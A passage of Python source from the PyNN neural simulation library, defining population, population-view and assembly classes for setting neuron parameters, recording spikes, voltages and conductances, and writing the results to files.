returns a single value.\n #\"\"\"\n if parametername not in self.celltype.get_parameter_names():\n raise errors.NonExistentParameterError(parametername, self.celltype, self.celltype.get_parameter_names())\n if (self.size,) == value_array.shape: # the values are numbers or non-array objects\n local_values = value_array[self._mask_local]\n assert local_values.size == self.local_cells.size, \"%d != %d\" % (local_values.size, self.local_cells.size)\n elif len(value_array.shape) == 2: # the values are themselves 1D arrays\n if value_array.shape[0] != self.size:\n raise errors.InvalidDimensionsError(\"Population: %d, value_array first dimension: %s\" % (self.size,\n value_array.shape[0]))\n local_values = value_array[self._mask_local] # not sure this works\n else:\n raise errors.InvalidDimensionsError(\"Population: %d, value_array: %s\" % (self.size,\n str(value_array.shape)))\n assert local_values.shape[0] == self.local_cells.size, \"%d != %d\" % (local_values.size, self.local_cells.size)\n\n try:\n logger.debug(\"%s.tset('%s', array(shape=%s, min=%s, max=%s))\",\n self.label, parametername, value_array.shape,\n value_array.min(), value_array.max())\n except TypeError: # min() and max() won't work for non-numeric values\n logger.debug(\"%s.tset('%s', non_numeric_array(shape=%s))\",\n self.label, parametername, value_array.shape)\n\n # Set the values for each cell\n if hasattr(self, \"_set_array\"):\n self._set_array(**{parametername: local_values})\n else:\n for cell, val in zip(self, local_values):\n setattr(cell, parametername, val)\n\n def rset(self, parametername, rand_distr):\n \"\"\"\n 'Random' set. Set the value of parametername to a value taken from\n rand_distr, which should be a RandomDistribution object.\n \"\"\"\n # Note that we generate enough random numbers for all cells on all nodes\n # but use only those relevant to this node. This ensures that the\n # sequence of random numbers does not depend on the number of nodes,\n # provided that the same rng with the same seed is used on each node.\n logger.debug(\"%s.rset('%s', %s)\", self.label, parametername, rand_distr)\n if isinstance(rand_distr.rng, random.NativeRNG):\n self._native_rset(parametername, rand_distr)\n else:\n rarr = rand_distr.next(n=self.all_cells.size, mask_local=False)\n rarr = numpy.array(rarr) # isn't rarr already an array?\n assert rarr.size == self.size, \"%s != %s\" % (rarr.size, self.size)\n self.tset(parametername, rarr)\n\n def _call(self, methodname, arguments):\n \"\"\"\n Call the method methodname(arguments) for every cell in the population.\n e.g. p.call(\"set_background\",\"0.1\") if the cell class has a method\n set_background().\n \"\"\"\n raise NotImplementedError()\n\n def _tcall(self, methodname, objarr):\n \"\"\"\n `Topographic' call. Call the method methodname() for every cell in the\n population. The argument to the method depends on the coordinates of\n the cell. objarr is an array with the same dimensions as the\n Population.\n e.g. p.tcall(\"memb_init\", vinitArray) calls\n p.cell[i][j].memb_init(vInitArray[i][j]) for all i,j.\n \"\"\"\n raise NotImplementedError()\n\n def randomInit(self, rand_distr):\n \"\"\"\n Set initial membrane potentials for all the cells in the population to\n random values.\n \"\"\"\n warn(\"The randomInit() method is deprecated, and will be removed in a future release. Use initialize('v', rand_distr) instead.\")\n self.initialize('v', rand_distr)\n\n def initialize(self, variable, value):\n \"\"\"\n Set initial values of state variables, e.g. the membrane potential.\n\n `value` may either be a numeric value (all neurons set to the same\n value) or a `RandomDistribution` object (each neuron gets a\n different value)\n \"\"\"\n logger.debug(\"In Population '%s', initialising %s to %s\" % (self.label, variable, value))\n if isinstance(value, random.RandomDistribution):\n initial_value = value.next(n=self.all_cells.size, mask_local=self._mask_local)\n if self.local_size > 1:\n assert len(initial_value) == self.local_size, \"%d != %d\" % (len(initial_value), self.local_size)\n else:\n initial_value = value\n self.initial_values[variable] = core.LazyArray(initial_value, shape=(self.local_size,))\n if hasattr(self, \"_set_initial_value_array\"):\n self._set_initial_value_array(variable, initial_value)\n else:\n if isinstance(value, random.RandomDistribution):\n for cell, val in zip(self, initial_value):\n cell.set_initial_value(variable, val)\n else:\n for cell in self: # only on local node\n cell.set_initial_value(variable, initial_value)\n\n def can_record(self, variable):\n \"\"\"Determine whether `variable` can be recorded from this population.\"\"\"\n return (variable in self.celltype.recordable)\n\n def _add_recorder(self, variable):\n \"\"\"Create a new Recorder for the supplied variable.\"\"\"\n assert variable not in self.recorders\n if hasattr(self, \"parent\"):\n population = self.grandparent\n else:\n population = self\n logger.debug(\"Adding recorder for %s to %s\" % (variable, self.label))\n population.recorders[variable] = population.recorder_class(variable,\n population=population)\n\n def _record(self, variable, to_file=True):\n \"\"\"\n Private method called by record() and record_v().\n \"\"\"\n if variable is None: # reset the list of things to record\n # note that if _record(None) is called on a view of a population\n # recording will be reset for the entire population, not just the view\n for recorder in self.recorders.values():\n recorder.reset()\n self.recorders = {} \n else:\n if not self.can_record(variable):\n raise errors.RecordingError(variable, self.celltype) \n logger.debug(\"%s.record('%s')\", self.label, variable)\n if variable not in self.recorders:\n self._add_recorder(variable)\n if self.record_filter is not None:\n self.recorders[variable].record(self.record_filter)\n else:\n self.recorders[variable].record(self.all_cells)\n if isinstance(to_file, basestring):\n self.recorders[variable].file = to_file\n\n def record(self, to_file=True):\n \"\"\"\n Record spikes from all cells in the Population.\n \"\"\"\n self._record('spikes', to_file)\n\n def record_v(self, to_file=True):\n \"\"\"\n Record the membrane potential for all cells in the Population.\n \"\"\"\n self._record('v', to_file)\n\n def record_gsyn(self, to_file=True):\n \"\"\"\n Record synaptic conductances for all cells in the Population.\n \"\"\"\n self._record('gsyn', to_file)\n\n def printSpikes(self, file, gather=True, compatible_output=True):\n \"\"\"\n Write spike times to file.\n\n file should be either a filename or a PyNN File object.\n\n If compatible_output is True, the format is \"spiketime cell_id\",\n where cell_id is the index of the cell counting along rows and down\n columns (and the extension of that for 3-D).\n This allows easy plotting of a `raster' plot of spiketimes, with one\n line for each cell.\n The timestep, first id, last id, and number of data points per cell are\n written in a header, indicated by a '#' at the beginning of the line.\n\n If compatible_output is False, the raw format produced by the simulator\n is used. This may be faster, since it avoids any post-processing of the\n spike files.\n\n For parallel simulators, if gather is True, all data will be gathered\n to the master node and a single output file created there. Otherwise, a\n file will be written on each node, containing only the cells simulated\n on that node.\n \"\"\"\n self.recorders['spikes'].write(file, gather, compatible_output, self.record_filter)\n\n def getSpikes(self, gather=True, compatible_output=True):\n \"\"\"\n Return a 2-column numpy array containing cell ids and spike times for\n recorded cells.\n\n Useful for small populations, for example for single neuron Monte-Carlo.\n \"\"\"\n return self.recorders['spikes'].get(gather, compatible_output, self.record_filter)\n # if we haven't called record(), this will give a KeyError. A more\n # informative error message would be nice.\n\n def print_v(self, file, gather=True, compatible_output=True):\n \"\"\"\n Write membrane potential traces to file.\n\n file should be either a filename or a PyNN File object.\n\n If compatible_output is True, the format is \"v cell_id\",\n where cell_id is the index of the cell counting along rows and down\n columns (and the extension of that for 3-D).\n The timestep, first id, last id, and number of data points per cell are\n written in a header, indicated by a '#' at the beginning of the line.\n\n If compatible_output is False, the raw format produced by the simulator\n is used. This may be faster, since it avoids any post-processing of the\n voltage files.\n\n For parallel simulators, if gather is True, all data will be gathered\n to the master node and a single output file created there. Otherwise, a\n file will be written on each node, containing only the cells simulated\n on that node.\n \"\"\"\n self.recorders['v'].write(file, gather, compatible_output, self.record_filter)\n\n def get_v(self, gather=True, compatible_output=True):\n \"\"\"\n Return a 2-column numpy array containing cell ids and Vm for\n recorded cells.\n \"\"\"\n return self.recorders['v'].get(gather, compatible_output, self.record_filter)\n\n def print_gsyn(self, file, gather=True, compatible_output=True):\n \"\"\"\n Write synaptic conductance traces to file.\n\n file should be either a filename or a PyNN File object.\n\n If compatible_output is True, the format is \"t g cell_id\",\n where cell_id is the index of the cell counting along rows and down\n columns (and the extension of that for 3-D).\n The timestep, first id, last id, and number of data points per cell are\n written in a header, indicated by a '#' at the beginning of the line.\n\n If compatible_output is False, the raw format produced by the simulator\n is used. This may be faster, since it avoids any post-processing of the\n voltage files.\n \"\"\"\n self.recorders['gsyn'].write(file, gather, compatible_output, self.record_filter)\n\n def get_gsyn(self, gather=True, compatible_output=True):\n \"\"\"\n Return a 3-column numpy array containing cell ids and synaptic\n conductances for recorded cells.\n \"\"\"\n return self.recorders['gsyn'].get(gather, compatible_output, self.record_filter)\n\n def get_spike_counts(self, gather=True):\n \"\"\"\n Returns the number of spikes for each neuron.\n \"\"\"\n return self.recorders['spikes'].count(gather, self.record_filter)\n\n def meanSpikeCount(self, gather=True):\n \"\"\"\n Returns the mean number of spikes per neuron.\n \"\"\"\n spike_counts = self.recorders['spikes'].count(gather, self.record_filter)\n total_spikes = sum(spike_counts.values())\n if rank() == 0 or not gather: # should maybe use allgather, and get the numbers on all nodes\n if len(spike_counts) > 0:\n return float(total_spikes)/len(spike_counts)\n else:\n return 0\n else:\n return numpy.nan\n \n def inject(self, current_source):\n \"\"\"\n Connect a current source to all cells in the Population.\n \"\"\"\n if not self.celltype.injectable:\n raise TypeError(\"Can't inject current into a spike source.\")\n current_source.inject_into(self)\n\n def save_positions(self, file):\n \"\"\"\n Save positions to file. The output format is id x y z\n \"\"\"\n # first column should probably be indices, not ids. This would make it\n # simulator independent.\n if isinstance(file, basestring):\n file = files.StandardTextFile(file, mode='w')\n cells = self.all_cells\n result = numpy.empty((len(cells), 4))\n result[:,0] = cells\n result[:,1:4] = self.positions.T \n if rank() == 0:\n file.write(result, {'population' : self.label})\n file.close()\n\n\nclass Population(BasePopulation):\n \"\"\"\n A group of neurons all of the same type.\n \"\"\"\n nPop = 0\n\n def __init__(self, size, cellclass, cellparams=None, structure=None,\n label=None):\n \"\"\"\n Create a population of neurons all of the same type.\n\n size - number of cells in the Population. For backwards-compatibility,\n n may also be a tuple giving the dimensions of a grid,\n e.g. n=(10,10) is equivalent to n=100 with structure=Grid2D()\n cellclass should either be a standardized cell class (a class inheriting\n from common.standardmodels.StandardCellType) or a string giving the\n name of the simulator-specific model that makes up the population.\n cellparams should be a dict which is passed to the neuron model\n constructor\n structure should be a Structure instance.\n label is an optional name for the population.\n \"\"\"\n if not isinstance(size, int): # also allow a single integer, for a 1D population\n assert isinstance(size, tuple), \"`size` must be an integer or a tuple of ints. You have supplied a %s\" % type(size)\n # check the things inside are ints\n for e in size:\n assert isinstance(e, int), \"`size` must be an integer or a tuple of ints. Element '%s' is not an int\" % str(e)\n\n assert structure is None, \"If you specify `size` as a tuple you may not specify structure.\"\n if len(size) == 1:\n structure = space.Line()\n elif len(size) == 2:\n nx, ny = size\n structure = space.Grid2D(nx/float(ny))\n elif len(size) == 3:\n nx, ny, nz = size\n structure = space.Grid3D(nx/float(ny), nx/float(nz))\n else:\n raise Exception(\"A maximum of 3 dimensions is allowed. What do you think this is, string theory?\")\n size = reduce(operator.mul, size)\n self.size = size\n self.label = label or 'population%d' % Population.nPop\n self.celltype = cellclass(cellparams)\n self._structure = structure or space.Line()\n self._positions = None\n self._is_sorted = True\n # Build the arrays of cell ids\n # Cells on the local node are represented as ID objects, other cells by integers\n # All are stored in a single numpy array for easy lookup by address\n # The local cells are also stored in a list, for easy iteration\n self._create_cells(cellclass, cellparams, size)\n self.initial_values = {}\n for variable, value in self.celltype.default_initial_values.items():\n self.initialize(variable, value)\n self.recorders = {}\n Population.nPop += 1\n\n @property\n def local_cells(self):\n return self.all_cells[self._mask_local]\n\n @property\n def cell(self):\n warn(\"The `Population.cell` attribute is not an official part of the \\\n API, and its use is deprecated. It will be removed in a future \\\n release. All uses of `cell` may be replaced by `all_cells`\")\n return self.all_cells\n\n def id_to_index(self, id):\n \"\"\"\n Given the ID(s) of cell(s) in the Population, return its (their) index\n (order in the Population).\n >>> assert p.id_to_index(p[5]) == 5\n >>> assert p.id_to_index(p.index([1,2,3])) == [1,2,3]\n \"\"\"\n if not numpy.iterable(id):\n if not self.first_id <= id <= self.last_id:\n raise ValueError(\"id should be in the range [%d,%d], actually %d\" % (self.first_id, self.last_id, id))\n return int(id - self.first_id) # this assumes ids are consecutive\n else:\n if isinstance(id, PopulationView):\n id = id.all_cells\n id = numpy.array(id)\n if (self.first_id > id.min()) or (self.last_id < id.max()):\n raise ValueError(\"ids should be in the range [%d,%d], actually [%d, %d]\" % (self.first_id, self.last_id, id.min(), id.max()))\n return (id - self.first_id).astype(int) # this assumes ids are consecutive\n\n def id_to_local_index(self, id):\n \"\"\"\n Given the ID(s) of cell(s) in the Population, return its (their) index\n (order in the Population), counting only cells on the local MPI node.\n \"\"\"\n if num_processes() > 1:\n return self.local_cells.tolist().index(id) # probably very slow\n #return numpy.nonzero(self.local_cells == id)[0][0] # possibly faster?\n # another idea - get global index, use idx-sum(mask_local[:idx])?\n else:\n return self.id_to_index(id)\n\n def _get_structure(self):\n return self._structure\n\n def _set_structure(self, structure):\n assert isinstance(structure, space.BaseStructure)\n if structure != self._structure:\n self._positions = None # setting a new structure invalidates previously calculated positions\n self._structure = structure\n structure = property(fget=_get_structure, fset=_set_structure)\n # arguably structure should be read-only, i.e. it is not possible to change it after Population creation\n\n @property\n def position_generator(self):\n def gen(i):\n return self.positions[:,i]\n return gen\n\n def _get_positions(self):\n \"\"\"\n Try to return self._positions. If it does not exist, create it and then\n return it.\n \"\"\"\n if self._positions is None:\n self._positions = self.structure.generate_positions(self.size)\n assert self._positions.shape == (3, self.size)\n return self._positions\n\n def _set_positions(self, pos_array):\n assert isinstance(pos_array, numpy.ndarray)\n assert pos_array.shape == (3, self.size), \"%s != %s\" % (pos_array.shape, (3, self.size))\n self._positions = pos_array.copy() # take a copy in case pos_array is changed later\n self._structure = None # explicitly setting positions destroys any previous structure\n\n positions = property(_get_positions, _set_positions,\n \"\"\"A 3xN array (where N is the number of neurons in the Population)\n giving the x,y,z coordinates of all the neurons (soma, in the\n case of non-point models).\"\"\")\n\n def describe(self, template='population_default.txt', engine='default'):\n \"\"\"\n Returns a human-readable description of the population.\n\n The output may be customized by specifying a different template\n togther with an associated template engine (see ``pyNN.descriptions``).\n\n If template is None, then a dictionary containing the template context\n will be returned.\n \"\"\"\n context = {\n \"label\": self.label,\n \"celltype\": self.celltype.describe(template=None),\n \"structure\": None,\n \"size\": self.size,\n \"size_local\": len(self.local_cells),\n \"first_id\": self.first_id,\n \"last_id\": self.last_id,\n }\n if len(self.local_cells) > 0:\n first_id = self.local_cells[0]\n context.update({\n \"local_first_id\": first_id,\n \"cell_parameters\": first_id.get_parameters(),\n })\n if self.structure:\n context[\"structure\"] = self.structure.describe(template=None)\n return descriptions.render(engine, template, context)\n\n\nclass PopulationView(BasePopulation):\n \"\"\"\n A view of a subset of neurons within a Population.\n \n In most ways, Populations and PopulationViews have the same behaviour, i.e.\n they can be recorded, connected with Projections, etc. It should be noted\n that any changes to neurons in a PopulationView will be reflected in the\n parent Population and vice versa.\n \n It is possible to have views of views.\n \"\"\"\n\n def __init__(self, parent, selector, label=None):\n \"\"\"\n Create a view of a subset of neurons within a parent Population or\n PopulationView.\n \n selector - a slice or numpy mask array. The mask array should either be\n a boolean array of the same size as the parent, or an\n integer array containing cell indices, i.e. if p.size == 5,\n PopulationView(p, array([False, False, True, False, True]))\n PopulationView(p, array([2,4]))\n PopulationView(p, slice(2,5,2))\n will all create the same view.\n \"\"\"\n self.parent = parent\n self.mask = selector # later we can have fancier selectors, for now we just have numpy masks \n self.label = label or \"view of %s with mask %s\" % (parent.label, self.mask)\n # maybe just redefine __getattr__ instead of the following...\n self.celltype = self.parent.celltype\n # If the mask is a slice, IDs will be consecutives without duplication.\n # If not, then we need to remove duplicated IDs\n if not isinstance(self.mask, slice):\n if isinstance(self.mask, list):\n self.mask = numpy.array(self.mask)\n if self.mask.dtype is numpy.dtype('bool'):\n if len(self.mask) != len(self.parent):\n raise Exception(\"Boolean masks should have the size of Parent Population\")\n self.mask = numpy.arange(len(self.parent))[self.mask] \n if len(numpy.unique(self.mask)) != len(self.mask):\n logging.warning(\"PopulationView can contain only once each ID, duplicated IDs are remove\")\n self.mask = numpy.unique(self.mask)\n self.all_cells = self.parent.all_cells[self.mask] # do we need to ensure this is ordered?\n idx = numpy.argsort(self.all_cells)\n self._is_sorted = numpy.all(idx == numpy.arange(len(self.all_cells)))\n self.size = len(self.all_cells)\n self._mask_local = self.parent._mask_local[self.mask]\n self.local_cells = self.all_cells[self._mask_local]\n self.first_id = numpy.min(self.all_cells) # only works if we assume all_cells is sorted, otherwise could use min()\n self.last_id = numpy.max(self.all_cells)\n self.recorders = self.parent.recorders\n self.record_filter= self.all_cells\n\n @property\n def initial_values(self):\n # this is going to be complex - if we keep initial_values as a dict,\n # need to return a dict-like object that takes account of self.mask\n raise NotImplementedError\n\n @property\n def structure(self):\n return self.parent.structure\n # should we allow setting structure for a PopulationView? Maybe if the\n # parent has some kind of CompositeStructure?\n\n @property\n def positions(self):\n return self.parent.positions.T[self.mask].T # make positions N,3 instead of 3,N to avoid all this transposing?\n\n def id_to_index(self, id):\n \"\"\"\n Given the ID(s) of cell(s) in the PopulationView, return its/their\n index/indices (order in the PopulationView).\n >>> assert id_to_index(p.index(5)) == 5\n >>> assert id_to_index(p.index([1,2,3])) == [1,2,3]\n \"\"\"\n if not numpy.iterable(id):\n if self._is_sorted:\n if id not in self.all_cells:\n raise IndexError(\"ID %s not present in the View\" %id)\n return numpy.searchsorted(self.all_cells, id)\n else:\n result = numpy.where(self.all_cells == id)[0]\n if len(result) == 0:\n raise IndexError(\"ID %s not present in the View\" %id)\n else:\n return result\n else:\n if self._is_sorted:\n return numpy.searchsorted(self.all_cells, id)\n else:\n result = numpy.array([])\n for item in id:\n data = numpy.where(self.all_cells == item)[0]\n if len(data) == 0:\n raise IndexError(\"ID %s not present in the View\" %item)\n elif len(data) > 1:\n raise Exception(\"ID %s is duplicated in the View\" %item)\n else:\n result = numpy.append(result, data)\n return result\n \n @property\n def grandparent(self):\n \"\"\"\n Returns the parent Population at the root of the tree (since the\n immediate parent may itself be a PopulationView).\n \n The name \"grandparent\" is of course a little misleading, as it could\n be just the parent, or the great, great, great, ..., grandparent.\n \"\"\"\n if hasattr(self.parent, \"parent\"):\n return self.parent.grandparent\n else:\n return self.parent\n \n def describe(self, template='populationview_default.txt', engine='default'):\n \"\"\"\n Returns a human-readable description of the population view.\n\n The output may be customized by specifying a different template\n togther with an associated template engine (see ``pyNN.descriptions``).\n\n If template is None, then a dictionary containing the template context\n will be returned.\n \"\"\"\n context = {\"label\": self.label,\n \"parent\": self.parent.label,\n \"mask\": self.mask,\n \"size\": self.size}\n return descriptions.render(engine, template, context)\n\n\n# =============================================================================\n\nclass Assembly(object):\n \"\"\"\n A group of neurons, may be heterogeneous, in contrast to a Population where\n all the neurons are of the same type.\n \"\"\"\n count = 0\n\n def __init__(self, *populations, **kwargs):\n \"\"\"\n Create an Assembly of Populations and/or PopulationViews.\n \n kwargs may contain a keyword argument 'label'.\n \"\"\"\n if kwargs:\n assert kwargs.keys() == ['label']\n self.populations = []\n for p in populations:\n self._insert(p)\n self.label = kwargs.get('label', 'assembly%d' % Assembly.count)\n assert isinstance(self.label, basestring), \"label must be a string or unicode\"\n Assembly.count += 1\n\n def _insert(self, element):\n if not isinstance(element, BasePopulation):\n raise TypeError(\"argument is a %s, not a Population.\" % type(element).__name__)\n if isinstance(element, PopulationView):\n if not element.parent in self.populations:\n double = False\n for p in self.populations:\n data = numpy.concatenate((p.all_cells, element.all_cells))\n if len(numpy.unique(data))!= len(p.all_cells) + len(element.all_cells):\n logging.warning('Adding a PopulationView to an Assembly containing elements already present is not posible')\n double = True #Should we automatically remove duplicated IDs ?\n break\n if not double:\n self.populations.append(element)\n else:\n logging.warning('Adding a PopulationView to an Assembly when parent Population is there is not possible')\n elif isinstance(element, BasePopulation):\n if not element in self.populations:\n self.populations.append(element)\n else:\n logging.warning('Adding a Population twice in an Assembly is not possible')\n\n @property\n def local_cells(self):\n result = self.populations[0].local_cells\n for p in self.populations[1:]:\n result = numpy.concatenate((result, p.local_cells))\n return result\n\n @property\n def all_cells(self):\n result = self.populations[0].all_cells\n for p in self.populations[1:]:\n result = numpy.concatenate((result, p.all_cells))\n return result\n\n def all(self):\n \"\"\"Iterator over cell ids on all nodes.\"\"\"\n return iter(self.all_cells) \n\n @property\n def _is_sorted(self):\n idx = numpy.argsort(self.all_cells)\n return numpy.all(idx == numpy.arange(len(self.all_cells)))\n \n @property\n def _homogeneous_synapses(self):\n syn = is_conductance(self.populations[0].all_cells[0])\n for p in self.populations[1:]:\n if syn != is_conductance(p.all_cells[0]):\n return False\n return True\n \n @property\n def conductance_based(self):\n return all(p.celltype.conductance_based for p in self.populations)\n \n @property\n def _mask_local(self):\n result = self.populations[0]._mask_local\n for p in self.populations[1:]:\n result = numpy.concatenate((result, p._mask_local))\n return result\n \n @property\n def first_id(self):\n return numpy.min(self.all_cells)\n \n @property\n def last_id(self):\n return numpy.max(self.all_cells)\n \n def id_to_index(self, id):\n \"\"\"\n Given the ID(s) of cell(s) in the Assembly, return its (their) index\n (order in the Assembly).\n >>> assert p.id_to_index(p[5]) == 5\n >>> assert p.id_to_index(p.index([1,2,3])) == [1,2,3]\n \"\"\"\n all_cells = self.all_cells\n if not numpy.iterable(id):\n if self._is_sorted:\n return numpy.searchsorted(all_cells, id)\n else:\n result = numpy.where(all_cells == id)[0]\n if len(result) == 0:\n raise IndexError(\"ID %s not present in the View\" %id)\n else:\n return result\n else:\n if self._is_sorted:\n return numpy.searchsorted(all_cells, id)\n else:\n result = numpy.array([])\n for item in id:\n data = numpy.where(all_cells == item)[0]\n if len(data) == 0:\n raise IndexError(\"ID %s not present in the View\" %item)\n elif len(data) > 1:\n raise Exception(\"ID %s is duplicated in the View\" %item)\n else:\n result = numpy.append(result, data)\n return result\n\n def all(self):\n \"\"\"Iterator over cell ids on all nodes.\"\"\"\n return iter(self.all_cells) \n \n @property\n def positions(self):\n result = self.populations[0].positions\n for p in self.populations[1:]:\n result = numpy.hstack((result, p.positions))\n return result\n \n @property\n def size(self):\n return sum(p.size for p in self.populations)\n\n def __iter__(self):\n \"\"\"\n Iterator over cells in all populations within the Assembly, for cells\n on the local MPI node.\n \"\"\"\n return chain(iter(p) for p in self.populations)\n\n def __len__(self):\n \"\"\"Return the total number of cells in the population (all nodes).\"\"\"\n return self.size\n\n def __getitem__(self, index):\n \"\"\"\n Where index is an integer, return an ID.\n Where index is a slice, list or numpy array, return a new Assembly\n consisting of appropriate populations and (possibly newly created)\n population views.\n \"\"\"\n count = 0; boundaries = [0]\n for p in self.populations:\n count += p.size\n boundaries.append(count)\n boundaries = numpy.array(boundaries)\n \n if isinstance(index, int): # return an ID\n pindex = boundaries[1:].searchsorted(index, side='right')\n return self.populations[pindex][index-boundaries[pindex]]\n elif isinstance(index, (slice, list, numpy.ndarray)):\n if isinstance(index, slice):\n indices = numpy.arange(self.size)[index]\n else:\n indices = index\n pindices = boundaries[1:].searchsorted(indices, side='right')\n views = (self.populations[i][indices[pindices==i] - boundaries[i]] for i in numpy.unique(pindices))\n return Assembly(*views)\n else:\n raise TypeError(\"indices must be integers, slices, lists, arrays, not %s\" % type(index).__name__)\n\n def __add__(self, other):\n \"\"\"\n An Assembly may be added to a Population, PopulationView or Assembly\n with the '+' operator, returning a new Assembly, e.g.:\n \n a2 = a1 + p\n \"\"\"\n if isinstance(other, BasePopulation):\n return Assembly(*(self.populations + [other]))\n elif isinstance(other, Assembly):\n return Assembly(*(self.populations + other.populations))\n else:\n raise TypeError(\"can only add a Population or another Assembly to an Assembly\")\n\n def __iadd__(self, other):\n \"\"\"\n A Population, PopulationView or Assembly may be added to an existing\n Assembly using the '+=' operator, e.g.:\n \n a += p\n \"\"\"\n if isinstance(other, BasePopulation):\n self._insert(other)\n elif isinstance(other, Assembly):\n for p in other.populations:\n self._insert(p)\n else:\n raise TypeError(\"can only add a Population or another Assembly to an Assembly\")\n return self\n \n def sample(self, n, rng=None):\n \"\"\"\n Randomly sample n cells from the Assembly, and return a Assembly\n object.\n \"\"\"\n assert isinstance(n, int)\n if not rng:\n rng = random.NumpyRNG()\n indices = rng.permutation(numpy.arange(len(self)))[0:n]\n logger.debug(\"The %d cells recorded have indices %s\" % (n, indices))\n logger.debug(\"%s.sample(%s)\", self.label, n)\n return self[indices]\n \n def initialize(self, variable, value):\n \"\"\"\n Set the initial value of one of the state variables of the neurons in\n this assembly.\n\n `value` may either be a numeric value (all neurons set to the same\n value) or a `!RandomDistribution` object (each neuron gets a\n different value)\n \"\"\"\n for p in self.populations:\n p.initialize(variable, value)\n\n def rset(self, parametername, rand_distr):\n \"\"\"\n 'Random' set. Set the value of parametername to a value taken from\n rand_distr, which should be a RandomDistribution object.\n \"\"\"\n for p in self.populations:\n p.rset(parametername, rand_distr)\n\n def _record(self, variable, to_file=True):\n # need to think about record_from\n for p in self.populations:\n p._record(variable, to_file)\n\n def record(self, to_file=True):\n \"\"\"Record spikes from all cells in the Assembly.\"\"\"\n self._record('spikes', to_file)\n\n def record_v(self, to_file=True):\n \"\"\"Record the membrane potential from all cells in the Assembly.\"\"\"\n self._record('v', to_file)\n\n def record_gsyn(self, to_file=True):\n \"\"\"Record synaptic conductances from all cells in the Assembly.\"\"\"\n self._record('gsyn', to_file)\n\n def get_population(self, label):\n \"\"\"\n Return the Population/PopulationView from within the Assembly that has\n the given label. If no such Population exists, raise KeyError.\n \"\"\"\n for p in self.populations:\n if label == p.label:\n return p\n raise KeyError(\"Assembly does not contain a population with the label %s\" % label)\n\n def save_positions(self, file):\n \"\"\"\n Save positions to file. The output format is id x y z\n \"\"\"\n # this should be rewritten to use self.positions and recording.files\n if isinstance(file, basestring):\n file = files.StandardTextFile(file, mode='w')\n cells = self.all_cells\n result = numpy.empty((len(cells), 4))\n result[:,0] = cells\n result[:,1:4] = self.positions.T \n if rank() == 0:\n file.write(result, {'assembly' : self.label})\n file.close()\n\n @property\n def position_generator(self):\n def gen(i):\n return self.positions[:,i]\n return gen\n\n def _get_recorded_variable(self, variable, gather=True, compatible_output=True, size=1):\n try:\n result = self.populations[0].recorders[variable].get(gather, compatible_output, self.populations[0].record_filter)\n except errors.NothingToWriteError:\n result = numpy.zeros((0, size+2))\n count = self.populations[0].size\n for p in self.populations[1:]:\n try:\n data = p.recorders[variable].get(gather, compatible_output, p.record_filter)\n data[:,0] += count # map index-in-population to index-in-assembly\n result = numpy.vstack((result, data))\n except errors.NothingToWriteError:\n pass\n count += p.size\n return result\n\n def get_v(self, gather=True, compatible_output=True):\n \"\"\"\n Return a 2-column numpy array containing cell ids and Vm for\n recorded cells.\n \"\"\"\n return self._get_recorded_variable('v', gather, compatible_output, size=1)\n\n def get_gsyn(self, gather=True, compatible_output=True):\n \"\"\"\n Return a 3-column numpy array containing cell ids and synaptic\n conductances for recorded cells.\n \"\"\"\n return self._get_recorded_variable('gsyn', gather, compatible_output, size=2)\n\n def meanSpikeCount(self, gather=True):\n \"\"\"\n Returns the mean number of spikes per neuron.\n \"\"\"\n spike_counts = self.get_spike_counts()\n total_spikes = sum(spike_counts.values())\n if rank() == 0 or not gather: # should maybe use allgather, and get the numbers on all nodes\n return float(total_spikes)/len(spike_counts)\n else:\n return numpy.nan\n\n def get_spike_counts(self, gather=True):\n \"\"\"\n Returns the number of spikes for each neuron.\n \"\"\"\n try:\n spike_counts = self.populations[0].recorders['spikes'].count(gather, self.populations[0].record_filter) \n except errors.NothingToWriteError:\n spike_counts = {}\n for p in self.populations[1:]:\n try:\n spike_counts.update(p.recorders['spikes'].count(gather, p.record_filter))\n except errors.NothingToWriteError:\n pass\n return spike_counts\n\n def _print(self, file, variable, format, gather=True, compatible_output=True):\n \n ## First, we write all the individual data for the heterogeneous populations\n ## embedded within the Assembly. To speed things up, we write them in temporary \n ## folders as Numpy Binary objects\n tempdir = tempfile.mkdtemp()\n filenames = {} \n filename = '%s/%s.%s' %(tempdir, self.populations[0].label, variable)\n p_file = files.NumpyBinaryFile(filename, mode='w')\n try:\n self.populations[0].recorders[variable].write(p_file, gather, compatible_output, self.populations[0].record_filter)\n filenames[self.populations[0]] = (filename, True) \n except errors.NothingToWriteError:\n filenames[self.populations[0]] = (filename, False) \n for p in self.populations[1:]:\n filename = '%s/%s.%s' %(tempdir, p.label, variable)\n p_file = files.NumpyBinaryFile(filename, mode='w') \n try:\n p.recorders[variable].write(p_file, gather, compatible_output, p.record_filter)\n filenames[p] = (filename, True)\n except errors.NothingToWriteError:\n filenames[p] = (filename, False)\n \n ## Then we need to merge the previsouly written files into a single one, to be consistent\n ## with a Population object. Note that the header should be better considered. \n metadata = {'variable' : variable,\n 'size' : self.size,\n 'label' : self.label,\n 'populations' : \", \".join([\"%s[%d-%d]\" %(p.label, p.first_id, p.last_id) for p in self.populations]),\n 'first_id' : self.first_id,\n 'last_id' : self.last_id}\n \n metadata['dt'] = simulator.state.dt # note that this has to run on all nodes (at least for NEST)\n data = numpy.zeros(format)\n for pop in filenames.keys():\n if filenames[pop][1] is True:\n name = filenames[pop][0]\n if gather==False and simulator.state.num_processes > 1:\n name += '.%d' % simulator.state.mpi_rank \n p_file = files.NumpyBinaryFile(name, mode='r') \n tmp_data = p_file.read() \n if compatible_output:\n tmp_data[:, -1] = self.id_to_index(tmp_data[:,-1] + pop.first_id)\n data = numpy.vstack((data, tmp_data))\n os.remove(name)\n metadata['n'] = data.shape[0] \n os.rmdir(tempdir)\n \n if isinstance(file, basestring):\n if gather==False and simulator.state.num_processes > 1:\n file += '.%d' % simulator.state.mpi_rank\n file = files.StandardTextFile(file, mode='w')\n \n if simulator.state.mpi_rank == 0 or gather == False:\n file.write(data, metadata)\n file.close()\n\n def printSpikes(self, file, gather=True, compatible_output=True):\n \"\"\"\n Write spike times to file.\n\n file should be either a filename or a PyNN File object.\n\n If compatible_output is True, the format is \"spiketime cell_id\",\n where cell_id is the index of the cell counting along rows and down\n columns (and the extension of that for 3-D).\n This allows easy plotting of a `raster' plot of spiketimes, with one\n line for each cell.\n The timestep, first id, last id, and number of data points per cell are\n written in a header, indicated by a '#' at the beginning of the line.\n\n If compatible_output is False, the raw format produced by the simulator\n is used. This may be faster, since it avoids any post-processing of the\n spike files.\n\n For parallel simulators, if gather is True, all data will be gathered\n to the master node and a single 